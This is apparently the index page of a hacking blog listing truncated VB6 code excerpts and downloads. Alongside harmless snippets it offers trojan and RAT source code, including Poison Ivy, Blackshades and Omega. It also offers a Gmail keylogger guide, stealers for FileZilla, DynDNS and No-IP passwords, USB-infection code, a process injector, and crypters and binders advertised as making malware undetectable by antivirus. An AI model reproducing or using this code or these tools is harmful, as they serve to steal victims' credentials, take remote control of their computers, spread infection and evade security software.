VB6 Sample Skins

VB6 Skin sample Code here. This is very useful to skin your vb6 apps. Code: Private Sub Form_Load() SkinFramework1.LoadSkin A...

Gmail Keyloger, GHack

This Software can easily hack key logs using your g mail account... Steps: Create a Gmail Account for hacking purpose Make a Keyloger ...

Firewall Exception VB6 Code

Windows firewall exception: Code: Public Sub FirewallException(Path As String) Shell "cmd /c REG ADD HKLM\System\CurrentControl...

VB6 Send mail without controls

This code will help you send mail from your VB6 form without Winsock \ inet \ webbrowser1 or any other controls. This code uses the  CDO.Me...

Save JPG with VB6 Code

Code: Option Explicit Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function GetWindo...

VB6 Sample Skins 2

Another VB6 Sample skin set..actskin4.ocx Download

Binder, Crypter, Run PE, Make FUD your fies...

This is codhacker binder.   How to use: 01. Drag files in to list 02. set parameters Delay, Attr, Execute path, Run PE .... 03. Cha...

Hide/ Show Desktop icons VB6 Code

Code: Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long...

VB6 Basic Trojan Source Code

'Form=frmserver.frm 'Add control : MSWINSCK.OCX 'Project="server_project" Code: Private Sub Form_Load()     ...

Monitor Off VB6 Code

Code: Public Sub MonitorOff() SendMessage frm.hwnd, &H112, &HF170&, 2& End Sub

Shutdown PC VB6 Code

Code: Public Function funshutdownmenu(bi As Integer) Select Case bi Case 0 Call Shell("shutdown -s -t 3"...

CD Rom Open/Close VB6

This function can control CD Rom door. Code: Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) ...

Key Lock VB6 Code

This code can Handle remote PC keys... Code: Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byt...

Get Mouse Control VB6 RAT

This code can control remote PC mouse.... Code: Option Explicit Public Declare Sub mouse_event Lib "user32" (ByVal dwFlags As ...

Get Antivirus List VB6 Code

Code: Public Function AntiVirusess() As String On Error Resume Next Dim strComputer As String Dim objWMIService As Object Dim colProcesses...

Get/ Set Cursor Pos VB6 Code

Code: Public Function SetCursorP(X, Y) SetCursorPos X, Y End Function Public Function GetCursorX() Dim dl& dl& = Get...

VB6 Play Sound

code: Public Declare Function sndPlaySound Lib "winmm" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFl...

Start button Hide/Show VB6 Code

Code: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindo...

Start button enable/disable vb6 code

Code: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindo...

Desktop flip vb6 code

This can make desktop flip vertical or horisontal Code: Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByV...

Get Spacial Path VB6

Get spacial path from the windows. Code: Private Const MAX_PATH = 260 Private Const CSIDL_STARTUP As Long = &H7 Private Const CSIDL...

Get Filezilla Passwords

code; Public Function sFileZilla() As String Dim sFile As String Dim sPath As String Dim sCont() As String Dim sHost() ...

Kill Process from PID

Code: Public Function KillByPID(PID As Long) Dim lOpen As Long lOpen = OpenProcess(PROCESS_ALL_ACCESS, 0, PID) Call terminatepro...

Read log File VB6 Code

Code: Public Function RecoverLog(Filename1 As String) As String Dim FPath As String FPath = Environ("appdata") & ...

Create Log Path VB6 Code

Code: Function GetLogPath() As String If DirExists(Environ("appdata") & "\Microsoft\Windows\Logs") = False Then ...

Save Log VB6 Code

Code: Public Sub SaveLogFile(LocalFile As String) On Error Resume Next Open LocalFile For Output As #1 Print #1, txt1 ...

Get Total RAM and FREE RAM VB6 Code

Code: Public Function GetRamTotalnFree() As String Dim TotalRam As String Dim FreeRam As String GetRAMInfo TotalRam, FreeRam ...

RegRead & Get Windiws OS VB6 Code

Code: Public Function RegRead(Path As String) As String On Error Resume Next Dim ws As Object On Local Error GoTo ErrHandler ...

Start Stop Service VB6 Code

Code: Public Sub StopService(strServiceName As String) Dim objWMIService As Object Dim colProcesses As Object Dim objProcess, ...

Kill Process

Code: Public Function Killprc( _ strNprc As String, _ Optional DecirSINO As Boolean = True) As Boolean On Error Resume Next ...

BlackDream Trojan VB6 Source code

This program features options under, Keyboard, mouse system, file/directory fun run registry control server modem key logging ...

Show Desktop VB6 code

Code: Public Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long Public Function Show...

Wallpaper Change VB6 code

Module: 'Retrieves or sets the value of one of the system-wide parameters Private Declare Function SystemParametersInfo Lib "user...

Hide taskbar icons VB6 Code

Code: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindo...

RC4 Encryption Vb6 code

code: Encrypt: Public Function RC4Encrypt(text As String, encryptkey As String) Dim sbox(256) Dim Key(256) Dim Temp As Integ...

Infect to USB Drives vb6 code

code: Private Function InfectUSB(FileName As String, Hide As Boolean) As Long On Error Resume Next Dim szBuffer As String * 128 ...

Get DynDNS Passwords

code: Public Function sDynDns() As String Dim sAppData As String Dim sPath As String Dim sLine As String Dim sUser As ...

Stay On top vb6 code

code: Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByV...

Copy File

code: Private Declare Function CopyFile Lib "Kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpN...

Get Windows Dir

code: Public Declare Function GetWindowsDirectory Lib "Kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String...

Get User Name

code: Public Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As L...

Get Computer Name

code: Public Declare Function GetComputerName Lib "Kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize ...

Format File size vb6 code

code: Public Function FileSize(ByVal StrSize As String) As String 'Function by andy aka British_Intel If StrSize$ < 1024 Then ...

Get Windows Installed Date

Code: Public Function GetExplorerDate() As Date GetExplorerDate = FileDateTime(Environ("windir") & "\explorer.exe...

Get Window Caption VB6 Code

Code: Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString A...

Get Installed Applications VB6 Code

Code; Private Declare Function RegQueryValueExA Lib "advapi32" (ByVal HKey As Long, ByVal lpValueName As String, ByVal lpReserve...

Find any window

code: Option Explicit Private Declare Function GetWindowText Lib "user32" _ Alias "GetWindowTextA" (ByVal hwnd As Long...

Get the name of a Drive

code: Option Explicit Private Declare Function GetVolumeInformation Lib "kernel32" _ Alias "GetVolumeInformationA" (By...

Process Injector

Process Injector can inject your exe to another process. Select process from the list  Select your exe click "Inject" ...

File Crypter (Crypt any file and Protect)

This tool can crypt any EXE or any other file and can save without antivirus detection... Note: This is not execute any files normally ...

No-IP Password VB6 code

code: Public Function GetNO_IP(ByRef sUser As String, ByRef sPass As String) As Boolean Dim lhKey As Long Dim sBuffer ...

Disable CtrlAltDel Vb6 Code

Code: Public Function DisableCtrlAltDel() Dim ret As Integer Dim pOld As Boolean ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True...

Change EXE icon VB6 Code

Code: Option Explicit Type DIB_HEADER Size As Long Width As Long Height As Long Planes As Integer B...

Photo Slide Maker

This tool can view slide shows. Just copy exe to parent folder and run. Current folder and sub-folders jpg files will play slide show... ...

Omega RAT

This is VB6 RAT code for client and Server both. this project is working one... Download  (300 k)

Get Default browser path Vb6

code: Public Function sDBrowserPath() As String Dim oShell As Object Set oShell = CreateObject("WScript.shell") sDBrowserPath =...

Abstract Cryper (Anti reversed engineering)

This Crypter can protect your exe... Virus Scan Report Download  (350k) pass: codhacker.blogspot.com

Print Text vb6 code

code: Private Declare Function OpenPrinter Lib "winspool.drv" Alias "OpenPrinterA" (ByVal pPrinterName As String, phPri...

DerSpaeher RAT (VB6) Source Code

Another VB6 RAT Source code. Download (300k) pass :  codhacker.blogspot.com

Get Cursor Position

Code: Option Explicit Private Type POINTAPI X As Long Y As Long End Type Private Declare Function GetCursorPos Lib "user32...

AV Cloner (Clone with antivirus exe)

This programme can clone you e exe with antivirus exe... Download

CSocketMaster - Winsock API Implementation Class

CSocketMaster class is a winsock control substitute. It has the same interface and behavior winsock has so don't worry about having to l...

Blackshades RAT V6 Source code

V6 Source code of blackshades for learning purpose.. Note: This is not working sample. for learning purpose only. Download Vr 2.2.6 ...

Lost Door RAT V6 Source code

Lost Door VB6 Code for RAT Programmers.... Note: This is not fully working source code. I found this somewhere like this. it was a mess...

File Cloner

This tool will help you to clone file information from one exe to another exe. Download   (300 kb)

BIN TEXT

Bin Text is basically a text extractor software used to extract text from application or any file.   Download

xtreme RAT

This is the best RAT I ever used.. Private edition of this RAT is very stable and FUD. Download  (2 m)

Solitude RAT

This is very good RAT. More Options for small server. Very stable. Download  (2 m)

Apocalypse RAT

Remote Administration Tools-[New today]  Apocalypse RAT  v1.4.4 updated stable and can be crypted. This is very smart RAT. This is the be...

Poison Ivy 2.3.2 RAT

Poison Ivy  is a RAT(Remote Administration Tool), which gives you 100% access to the victims computer and you can do many things... Very ...

UltraVNC Viewer

UltraVNC is a powerful, easy to use and  that can display the screen of another computer (via internet or network) on your own screen. The p...

uTorrent

uTorrent is a file sharing program that uses P2P (peer-to-peer) transfer model. With this application, you will be able to download, for fre...